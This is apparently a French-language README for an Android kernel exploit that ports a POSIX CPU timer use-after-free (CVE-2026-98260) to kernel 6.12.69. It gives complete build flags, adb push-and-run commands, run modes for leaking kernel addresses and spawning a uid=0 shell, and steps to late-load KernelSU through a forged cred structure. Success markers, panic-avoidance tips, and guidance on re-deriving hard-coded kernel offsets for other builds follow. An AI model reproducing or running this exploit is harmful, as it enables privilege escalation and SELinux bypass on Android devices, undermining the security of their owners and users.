
Exploit use-after-free de la minuterie CPU POSIX du noyau Android pour la version 6.12.69 qui obtient un shell uid=0 ou un chargement tardif de KernelSU via de faux identifiants.
Portage de l'UAF du timer CPU POSIX CVE-2026-98260 pour 6.12.69-android16-6-g242e1a07f878
Deux chaînes :
timer : zéro écriture de cred réel → uid=0, u:r:shell:s0 (root du domaine shell, bset caps)timer fake : fake cred (full caps) → late-load de libksud.so de la version installée de KernelSU| Chemin | Résultat |
|---|---|
zéro écriture de cred réel + setuid(0) + exec sh | uid=0, u:r:shell:s0, ROOT_SHELL_OK |
fake cred + ksud late-load | libksud.so de la version installée (uapi 6), KSU_LOADED, su en u:r:ksu:s0 |
u:r:shell:s0), peut lire tracefs et /proc/slabinfome.weishu.kernelsu), fake utilisera automatiquement son lib/arm64/libksud.soNDK 28.2 (aarch64, API 35) :
cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# Diagnostic
adb shell /data/local/tmp/timer ids # sonde l'id d'événement de page tracefs
adb shell /data/local/tmp/timer leak # effectue uniquement la fuite base/cred/task, sans déclencher l'UAF
# shell uid-0 (cred réel)
adb shell /data/local/tmp/timer # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell # sh interactif
# KernelSU (fake cred + ksud installé)
adb shell 'cd /data/local/tmp && setsid ./timer fake >timer.log 2>&1 </dev/null &'
adb shell cat /data/local/tmp/timer.log
Marqueurs de succès de fake :
[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id # uid=0 ... context=u:r:ksu:s0
fake, le processus parent se park également, en gardant la page de fake cred via un sockettimeout/kill sur les processus parked, sinon le recyclage par init d'un nœud stale peut provoquer un panictimer/timer.c exploit
timer/timer artefact statique
tools/*.c sources de diagnostic du portage
Les constantes clés sont codées en dur dans timer/timer.c : sites do_timer_create/copy_process, selinux_state, panic_on_warn, taille du cache de tâches de copy_process, symboles init_*
Lors d'un changement de noyau, redériver à l'aide du boot.img/BTF/kallsyms de l'appareil ; les fichiers sous tools/ servent à vérifier le call site, le raw record, la fuite du timer et le canal de récupération AF_UNIX de 8 KiB
woshigenm/CVE-2026-98260 (MIT) : trigger, écriture zéro de real-cred, idées fake cred/KSUghostlock-app : phase finale du late-load de KernelSU